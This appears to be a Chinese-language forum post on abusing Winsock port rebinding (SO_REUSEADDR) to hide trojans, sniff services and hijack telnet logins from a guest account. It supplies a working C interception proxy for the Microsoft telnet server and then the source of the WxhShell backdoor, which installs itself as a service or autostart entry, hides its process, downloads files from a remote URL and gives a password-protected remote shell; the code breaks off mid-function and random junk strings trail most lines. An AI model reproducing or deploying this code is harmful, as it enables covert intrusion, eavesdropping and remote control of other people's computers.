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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &;3iHY;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8=TM _  
-,:^dxE'  
  saddr.sin_family = AF_INET; ZQ1,6<^9i[  
)?y${T   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }jdMo83  
Y[sBVz'j5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +-2W{lX  
-<0xS.^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 88uoA6Y8h  
10}< n_I  
  这意味着什么?意味着可以进行如下的攻击: Z; 6N7U  
d%,@,>>)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uE &/:+  
?COLjk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zy'e|92aO  
BFnp[93N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -sqd?L.p  
.o#A(3&n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _|jEuif  
ZX0#I W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @js`$  
SL[EOz#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n?(sn  
zQ~N(Jj?h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~~r7TPq  
GHWt3K:*w  
  #include @b&_xT  
  #include :@@aIFRv  
  #include ]621Z1  
  #include    4$oDq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dD351!-  
  int main() b9R0"w!ml  
  { PRal>s&f  
  WORD wVersionRequested; j82x$I*  
  DWORD ret; YQ|o0>  
  WSADATA wsaData; R :*1Y\o(  
  BOOL val; q:cCk#ra  
  SOCKADDR_IN saddr; -JfqY?Ue_2  
  SOCKADDR_IN scaddr; ~e<^jhpJ  
  int err; {[ pzqzL6  
  SOCKET s; J7pF*2  
  SOCKET sc; =JaxT90x  
  int caddsize; FJD;LpW  
  HANDLE mt; :@4+}  
  DWORD tid;   +aQM %~  
  wVersionRequested = MAKEWORD( 2, 2 ); ~F " w  
  err = WSAStartup( wVersionRequested, &wsaData ); {%Rntb  
  if ( err != 0 ) { Cu! S|Xj.  
  printf("error!WSAStartup failed!\n"); S'(IG m4  
  return -1; 0e +Qn&$#4  
  } y9Pw'4R  
  saddr.sin_family = AF_INET; #EA` |  
   a9_KoOa.H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uOAd$;h@_Z  
~KYA{^`*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NOSL b];  
  saddr.sin_port = htons(23); Hb3..o:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %bp'`B=  
  { ^U9b)KA  
  printf("error!socket failed!\n"); HDi_|{2^  
  return -1; "cwvx8un  
  } f"-3'kqo  
  val = TRUE; K BlJJH`z{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /$d #9Uv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PDpuHHB  
  { GYrUB59  
  printf("error!setsockopt failed!\n"); 4(? Z1S  
  return -1; cTja<*W^xv  
  } 8I~*9MUp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {nMCU{*k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {)I&&fSz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o'_eLp  
GdM|?u&s"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l0PXU)>C  
  { ,&iEn}xG7i  
  ret=GetLastError(); q*!Vyk  
  printf("error!bind failed!\n"); 0 s@>e  
  return -1; D}rnp wp{  
  } W 'PW;.,  
  listen(s,2); -amNz.`[PR  
  while(1) *JOp)e0b  
  { )}J}d)  
  caddsize = sizeof(scaddr); gm$<U9L\v  
  //接受连接请求 ;EsfHCi)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &`}d;r|yn1  
  if(sc!=INVALID_SOCKET) 79uAsI2-Y  
  { ~zoZ{YqP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <9[>+X  
  if(mt==NULL) #Cb~-2:+7  
  { TU1W!=Z  
  printf("Thread Creat Failed!\n"); 734H{,~  
  break; ikb;,Js  
  } p#N2K{E  
  } Bxf&gDwjgr  
  CloseHandle(mt); IN@ =UAc&  
  } "td ,YVK  
  closesocket(s); ] u\-_PP  
  WSACleanup(); WtlLqD!_D  
  return 0; &x3R+(H {  
  }   UW Px|]RC  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ow {NI-^K  
  { G%dzJpC(  
  SOCKET ss = (SOCKET)lpParam; Z*Fn2I4  
  SOCKET sc; # ';b>J  
  unsigned char buf[4096]; ),@m 3wQ  
  SOCKADDR_IN saddr; 6u,w  
  long num; b2^O$ l  
  DWORD val; c3)6{  
  DWORD ret; ^3C%&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $e%m=@ga  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RijFN.s  
  saddr.sin_family = AF_INET; { 3Qlx/6<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g6H`uO  
  saddr.sin_port = htons(23); brdY97s4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dc3bG@K*G  
  { @Ll^ze&HI  
  printf("error!socket failed!\n"); b~;M&Y  
  return -1; {tuGkRY2 ~  
  } *>T@3G.{Rm  
  val = 100; zCrM~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /~+j[o B  
  { op,mP0b  
  ret = GetLastError(); #;\tgUQ  
  return -1; q+)s  
  } ]x@36Ok)A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W . dm1  
  { >Ft:&N9L{  
  ret = GetLastError(); RaA7 U   
  return -1; H284 ]i  
  } [ z{ }?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8p]Krs:  
  { "4CO^ B  
  printf("error!socket connect failed!\n"); rs@qC>_C0  
  closesocket(sc); Sj;:*jk!h  
  closesocket(ss); qSQsY:]j0  
  return -1; KS;Wr6]@(O  
  } gFxaUrZA  
  while(1) Cdc=1,U(  
  { w"!zLB&9[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R}$A>)%dx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~g&Gi)je  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |Gt]V`4  
  num = recv(ss,buf,4096,0); 30QQnMH3  
  if(num>0) #Qd"d3QG  
  send(sc,buf,num,0); Gu%}B@4^  
  else if(num==0) (y?`|=G-xT  
  break; wTn"  
  num = recv(sc,buf,4096,0); )C>M74Bt  
  if(num>0) b\+9#)Up@  
  send(ss,buf,num,0); `3vt.b  
  else if(num==0) b@[\+P] "  
  break; /&RS+By(i  
  } 9]|G-cyt  
  closesocket(ss); ^oZD44$  
  closesocket(sc); KCfcEz  
  return 0 ; $B@K  
  } A w)P%r  
Es+BV+x[.c  
M!iYj+nrP  
========================================================== 88+J(^y>  
r%II` i  
下边附上一个代码,,WXhSHELL CQ#%v%  
5x}Or fDU  
========================================================== M9wj };vy  
UzUt=s!^H  
#include "stdafx.h" X-5&c$hv  
-;U3$[T,J7  
#include <stdio.h> XD|vB+j\O  
#include <string.h> 6E.64+PJw  
#include <windows.h> v,mn=Q&9  
#include <winsock2.h> ?)XPY<  
#include <winsvc.h> u )KtvC!  
#include <urlmon.h> |79n 1;+\?  
lISu[{b?  
#pragma comment (lib, "Ws2_32.lib") 3EX41)u  
#pragma comment (lib, "urlmon.lib") S)*!jI  
|I=\+P}s  
#define MAX_USER   100 // 最大客户端连接数 +FYhDB~m  
#define BUF_SOCK   200 // sock buffer QfsTUAfR  
#define KEY_BUFF   255 // 输入 buffer [X=Ot#?u ~  
{1]Of'x'  
#define REBOOT     0   // 重启 }aa ~@K<A  
#define SHUTDOWN   1   // 关机 ch]Q%M  
A[X~:p.^G  
#define DEF_PORT   5000 // 监听端口 @W*Zrc1NF  
c>e~$b8  
#define REG_LEN     16   // 注册表键长度 F anA~  
#define SVC_LEN     80   // NT服务名长度 S-)%#  
BW%"]J  
// 从dll定义API f m'Qif q^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #:M)a?E/%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0:3<33]x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &B>YiA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cG I^IPI  
P7kb*  
// wxhshell配置信息 R(F+Xg je  
struct WSCFG { @d=4C{g%o  
  int ws_port;         // 监听端口 zmh3 Qa(  
  char ws_passstr[REG_LEN]; // 口令 U)gr C8 C  
  int ws_autoins;       // 安装标记, 1=yes 0=no *dm?,~f%<  
  char ws_regname[REG_LEN]; // 注册表键名 X8=s k  
  char ws_svcname[REG_LEN]; // 服务名 i3 n0W1~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m' suAj0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6GtXM3qtS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gDjs:]/YR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XxEKv=_bc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LVp*YOq7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $@:z4S(  
7nL3+Pq  
}; X?Mc"M  
bol#[_~  
// default Wxhshell configuration C/x<_VJzN/  
struct WSCFG wscfg={DEF_PORT, x?MSHOia`P  
    "xuhuanlingzhe", y~pJ|E  
    1, Mlr}v^"G  
    "Wxhshell", zE\@x+k.  
    "Wxhshell", Um9]X@z  
            "WxhShell Service", O8% Y .SK  
    "Wrsky Windows CmdShell Service", f6Io|CZWJ  
    "Please Input Your Password: ", 9K5[a^q|My  
  1, @(H  
  "http://www.wrsky.com/wxhshell.exe", ');QmN%J  
  "Wxhshell.exe" RAW(lZ(  
    }; _o-D},f*e  
_oJq32  
// 消息定义模块 L(i*v5?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *R^ulp[W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h_Cac@F0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G(XI TL u*  
char *msg_ws_ext="\n\rExit."; '@<aS?@!t  
char *msg_ws_end="\n\rQuit."; pu +"bq  
char *msg_ws_boot="\n\rReboot..."; O[[#\BL  
char *msg_ws_poff="\n\rShutdown..."; s`:-6{E  
char *msg_ws_down="\n\rSave to "; @dj 2#  
P7i G,i  
char *msg_ws_err="\n\rErr!"; #]!0$z|Z  
char *msg_ws_ok="\n\rOK!"; ^N5BJ'[F:  
'9MtIcNb  
char ExeFile[MAX_PATH]; ,pz^8NJAI  
int nUser = 0; -6KGQc}U  
HANDLE handles[MAX_USER]; ki^c)Tqn  
int OsIsNt; h[0,/`qb{  
:5`BhFAd  
SERVICE_STATUS       serviceStatus; l[q%1-N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Z;?d@6yI  
dM1)wkbET  
// 函数声明 R1DXi  
int Install(void); /Ma"a ^  
int Uninstall(void); oG)JH)!  
int DownloadFile(char *sURL, SOCKET wsh); ,HFoy-Yq  
int Boot(int flag); }#/,nJm'  
void HideProc(void); YkKq}DXj  
int GetOsVer(void); <([1(SY2e  
int Wxhshell(SOCKET wsl); "38ya2*  
void TalkWithClient(void *cs); .V?i3  
int CmdShell(SOCKET sock); `%x6;Ha  
int StartFromService(void); :+SpZ>  
int StartWxhshell(LPSTR lpCmdLine); &T8prE?  
|*im$[g=-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Q.bwl:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TB gD"i-  
12Hy.l  
// 数据结构和表定义 ~ YKBxt  
SERVICE_TABLE_ENTRY DispatchTable[] = \Om< FH}  
{ 6uYCU|JsU  
{wscfg.ws_svcname, NTServiceMain}, z Lw=*  
{NULL, NULL} /?jAG3"  
}; tndtwM*B'  
T/" 6iv\1  
// 自我安装 XTHy CK  
int Install(void) 9LkP*$2"M<  
{ 1|VnPQqA  
  char svExeFile[MAX_PATH]; wPDA_ns~  
  HKEY key; )hHkaI>eYv  
  strcpy(svExeFile,ExeFile); (N U*PQY6  
F(8>"(C  
// 如果是win9x系统,修改注册表设为自启动 dE+xU(\, w  
if(!OsIsNt) { Syn>;FX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8}0W_CU,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ! Q`GA<ikv  
  RegCloseKey(key); )j40hrR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r`|/qP:T[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E lt=/,v`!  
  RegCloseKey(key); JBCcR,\kM*  
  return 0; .VVY]>bJg@  
    } RpE69:~PV  
  } Y" s1z<?  
} Nkt(1?:-'  
else { Eg?6$[U`8<  
W^W^5-'"D,  
// 如果是NT以上系统,安装为系统服务 J3fcnI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Pudy\Ab  
if (schSCManager!=0)  t]Xdzy  
{ wwS{V  
  SC_HANDLE schService = CreateService Z,Z34:-  
  ( DYU+?[J  
  schSCManager, j5ZeYcQ-  
  wscfg.ws_svcname, t)LD-%F  
  wscfg.ws_svcdisp, kL,{H~iq;  
  SERVICE_ALL_ACCESS, Memz>uux  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Ovl(4VG  
  SERVICE_AUTO_START, cbl2D5s+i]  
  SERVICE_ERROR_NORMAL, 1pC!F ;9Oo  
  svExeFile, M* (]hu0!  
  NULL, Bl-nS{9"  
  NULL, Da!A1|"  
  NULL, <LDVO'I0 !  
  NULL, #]i*u1  
  NULL 3u7N/OQ(  
  ); &,xN$  
  if (schService!=0) h#?L6<*tm  
  { Us'm9 J  
  CloseServiceHandle(schService); I=wP"(2  
  CloseServiceHandle(schSCManager); kScq#<Y&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #J]u3*T n|  
  strcat(svExeFile,wscfg.ws_svcname); dF*@G/p>V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y88FT#hR|5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZD] ^Y}  
  RegCloseKey(key); cs7T AX  
  return 0; "_JGe#=  
    } {T Z7>k  
  } V+X>t7.Q  
  CloseServiceHandle(schSCManager); _PrK6M@"L  
} .N8AkQ(Ok  
} z!5^UD8"W  
^c}Z$V  
return 1; sn&y;Vc[$  
} `'[u%UE  
u=feR0|8  
// 自我卸载 F_=RY ]  
int Uninstall(void) o+SD(KVn-  
{ SIjdwr!+ZZ  
  HKEY key; sTO*  
E)m{m$Hb  
if(!OsIsNt) { * c] :,5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D0tmNV@  
  RegDeleteValue(key,wscfg.ws_regname); D[m;rcl  
  RegCloseKey(key); Ns2M8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~]DGf(   
  RegDeleteValue(key,wscfg.ws_regname); V<AT"vU[  
  RegCloseKey(key); 3qPj+@  
  return 0; GFOd9=[  
  } !@!,7te  
} A^_BK(EY  
} Mf%0Cx `  
else { ^!-*xH.dK  
.oYUA}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rIg1]q  
if (schSCManager!=0) rG1l:Z)  
{ F0%FX`b{{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1`N q K  
  if (schService!=0) FyX\S=  
  { m(E-?VMHo  
  if(DeleteService(schService)!=0) { ~`c?&YixU  
  CloseServiceHandle(schService); +~\1Zgw  
  CloseServiceHandle(schSCManager); Ln0rm9FV-  
  return 0; YYHtd,0\+  
  } ;1&%Wj"d  
  CloseServiceHandle(schService); yazC2Enes8  
  } M ()&GlNs  
  CloseServiceHandle(schSCManager); cj@Ygc)n  
} n5A0E2!  
} 0'`>20Y  
) f9f_^;  
return 1; X>j% y7v  
} Oemi}  
`uy)][j-  
// 从指定url下载文件 ulV)X/]1  
int DownloadFile(char *sURL, SOCKET wsh) f8kPbpV,  
{ .{x-A{l  
  HRESULT hr; 9l9 nT  
char seps[]= "/"; Ub*Gv(Pg  
char *token; zE5%l`@|o  
char *file; 9(DS"fgC  
char myURL[MAX_PATH]; Vu0jNKUV  
char myFILE[MAX_PATH]; C Fq3  
N"/jn_>+j  
strcpy(myURL,sURL); ~YKe:K+&z  
  token=strtok(myURL,seps); bsy\L|wd  
  while(token!=NULL) Lt0JUUa0  
  { pb1/HhRR^n  
    file=token; TaeN?jc5  
  token=strtok(NULL,seps); "Q6oPDX(  
  } MZ o\1tU-i  
| ?3\xw  
GetCurrentDirectory(MAX_PATH,myFILE); Mfe/(tlI  
strcat(myFILE, "\\"); ZIQy}b'  
strcat(myFILE, file); `q7O\  
  send(wsh,myFILE,strlen(myFILE),0); m8;; O  
send(wsh,"...",3,0); f4)fa yAVp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1X2MhV  
  if(hr==S_OK) !`L%wS  
return 0; 0Lmq?D  
else 9F)+p7VJq  
return 1; n#Xi Co_\  
"hi?/B#d  
} g-"@%ps  
x zu)``?  
// 系统电源模块 VV O C-:  
int Boot(int flag) P:vAU8d>  
{ % 1ZJi}~  
  HANDLE hToken; yEyx.Mh.Af  
  TOKEN_PRIVILEGES tkp; 4;'o`K~*  
a]-F,MJ  
  if(OsIsNt) { <QFT>#@T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }.ZX.qYX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %!I7tR#;  
    tkp.PrivilegeCount = 1; Gs;wx_k^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m`gH5vQa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hAtf)  
if(flag==REBOOT) { b?eIFI&w^l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \,)('tUE  
  return 0; L,c@Z@  
} r18eu B%  
else {  P_6oMR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 42E]&=Cet  
  return 0; lJ;7sgQ#  
} ste0:.*qb  
  } esU9  
  else { ;+] mcgN!  
if(flag==REBOOT) { (CFm6p'RZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZN#mu]jC?  
  return 0; NovF?kh2  
} "/[xak!g  
else { low 0@+Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >Lj0B%^EvM  
  return 0; =i[_C>U  
} =]jc{Y%o  
} 2#LTd{  
Y!s94#OaZ  
return 1; jWk1FQte  
} w%F~4|F  
? cU9~=  
// win9x进程隐藏模块 KGb:NQ=O6i  
void HideProc(void) Vc0C@*fVM  
{ lWr=79  
l#u$w&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xa#;<8 iV  
  if ( hKernel != NULL ) 0'q&7 MV  
  { E{x<P0 ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vYb.Ub+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $P'Y  
    FreeLibrary(hKernel); VbX+`CwH  
  } Gy 0 m  
:}(Aq;}X  
return; :_9MS0  
} 8h"Val|qP  
U4;r.#qw,  
// 获取操作系统版本 &z kuL  
int GetOsVer(void) %gUf  
{ FyleK+D?  
  OSVERSIONINFO winfo; MiHa'90{K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CqK&J /8  
  GetVersionEx(&winfo); Kz>bfq7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0?c2=Y   
  return 1; cW%QKdTQY0  
  else ! R rk  
  return 0; j#4 Iu&YJ  
} Sd[%$)scC  
tNpBRk(}  
// 客户端句柄模块 [ye!3h&]  
int Wxhshell(SOCKET wsl) pY@$N&+W  
{ ^#-d^ )f;  
  SOCKET wsh; *UL++/f  
  struct sockaddr_in client; _v=S4A#tF  
  DWORD myID; k*XI/k5Vc  
9~3;upWu!  
  while(nUser<MAX_USER) v *'anw&Z  
{ aia`mO]  
  int nSize=sizeof(client); 24{Tl q3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -DAkVFsN  
  if(wsh==INVALID_SOCKET) return 1; uBpnfIe  
@ ;T|`Y=7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5PF?Eq   
if(handles[nUser]==0) 0 PdeK'7  
  closesocket(wsh); 80J87\)  
else S7oPdzcU-  
  nUser++; }-`N^  
  } %vF,wQC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?XCFR t,ol  
\e)>]C}h  
  return 0; @nWhUH%  
} /Z3 Mlm{  
|!t &ZpdD  
// 关闭 socket  9t$#!2z  
void CloseIt(SOCKET wsh) *Wbs{>&No  
{ hSAdD!  
closesocket(wsh); oVZI ([O  
nUser--; sr S2v\1:  
ExitThread(0); ,s ` y  
} Z%&$_-yJ  
sF. oZ>  
// 客户端请求句柄 "Y'MuV'x  
void TalkWithClient(void *cs) 5;v_?M!UCK  
{ nR %ey"  
.4CCR[Het  
  SOCKET wsh=(SOCKET)cs; ,gO}H)v]t  
  char pwd[SVC_LEN]; Fh8 8DDJ  
  char cmd[KEY_BUFF]; L i g7Ac,  
char chr[1]; c/Dk*.xy<  
int i,j; O$eNG$7  
\_v jc]?  
  while (nUser < MAX_USER) { L<D<3g|4  
8NF93tqD6  
if(wscfg.ws_passstr) { 7C;oMh5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ra^0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1>yh`Bp\=  
  //ZeroMemory(pwd,KEY_BUFF); hZZ  
      i=0; 5S9i>B  
  while(i<SVC_LEN) { kh4., \'  
^U q%-a  
  // 设置超时 fk*I}pDx  
  fd_set FdRead; KIRCye  
  struct timeval TimeOut; H|\@[:A+  
  FD_ZERO(&FdRead); F o k%  
  FD_SET(wsh,&FdRead); eW<|I  
  TimeOut.tv_sec=8; SAVA6 64  
  TimeOut.tv_usec=0; EjA3hHJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F>F2Yql&W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C(%b!Q,2  
H^3f!\MC;o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AT6o~u!WU  
  pwd=chr[0]; \k4em{K  
  if(chr[0]==0xd || chr[0]==0xa) { .#q]{j@Ot  
  pwd=0; ~:JoKm`vU  
  break; ?<;9=l\Q  
  } QjlQsN!  
  i++; 8l.bT|#O  
    } ApD`i+Y@  
!jQj1QZR`  
  // 如果是非法用户,关闭 socket G'U! #  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V?L8BRnV  
} 1a gNwFd~  
)5[OG7/g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c 80Ffq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wPE\?en  
F$sDmk#  
while(1) { +^<s'  
H:#sf][&,L  
  ZeroMemory(cmd,KEY_BUFF); !kxJ&VmeF  
XN^l*Q?3n  
      // 自动支持客户端 telnet标准   \Ota~A  
  j=0; sRI0;  
  while(j<KEY_BUFF) { RVN;j4uMg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >d3`\(v-  
  cmd[j]=chr[0]; WR"?j 9y_q  
  if(chr[0]==0xa || chr[0]==0xd) { g:fkM{"{  
  cmd[j]=0; nl-y0xD9c  
  break; M!wa }  
  } drQI@sPp  
  j++; .fgVzDR|+  
    } >~;= j~  
r!<)CT}D  
  // 下载文件 diWi0@  
  if(strstr(cmd,"http://")) { OZR{+YrB^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vbh 5  
  if(DownloadFile(cmd,wsh)) L9$`zc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [xdi.6 %  
  else `N}aV Ns  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PX- PVW  
  } 8w$q4fg0  
  else { j4:Xel/  
^]NFr*'!  
    switch(cmd[0]) { Bwc_N.w?3  
  _Rb>py  
  // 帮助 Xqy9D ZIn  
  case '?': { KG=57=[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1EMud,,:  
    break; :V0sKg|sS  
  } ES)@iM?5  
  // 安装 oCxy(q'y  
  case 'i': { x~JOg57up  
    if(Install()) F.{$HJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>ld  
    else {%oxzdPc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BR-4L2[  
    break; iv ~<me0F  
    } 7O-fc1OTv  
  // 卸载 m%cwhH_B  
  case 'r': { FL {$9o\@  
    if(Uninstall()) }60/5HNr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $jOp:R&I^3  
    else r+!29  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Y4Wm?  
    break; Z,oCkv("n  
    } 74=zLDDS  
  // 显示 wxhshell 所在路径 !C@+CZXLx  
  case 'p': { 7NRm\%^q  
    char svExeFile[MAX_PATH]; kIR/.Ij}  
    strcpy(svExeFile,"\n\r"); \<HY'[gr  
      strcat(svExeFile,ExeFile); 8shx7"  
        send(wsh,svExeFile,strlen(svExeFile),0); B|"-Ed  
    break; {kghZur  
    } Vb)NWXmyu  
  // 重启 (]` rri*^  
  case 'b': {  20]p<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a%2K,.J  
    if(Boot(REBOOT)) bao"iv~z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FeNNzV=  
    else { w$Z%RF'p  
    closesocket(wsh); e^}@X[*'#  
    ExitThread(0); qP$)V3l  
    } kEp{L  
    break; vSy[lB|)24  
    } :Y|[?;  
  // 关机 Am|)\/K+Z  
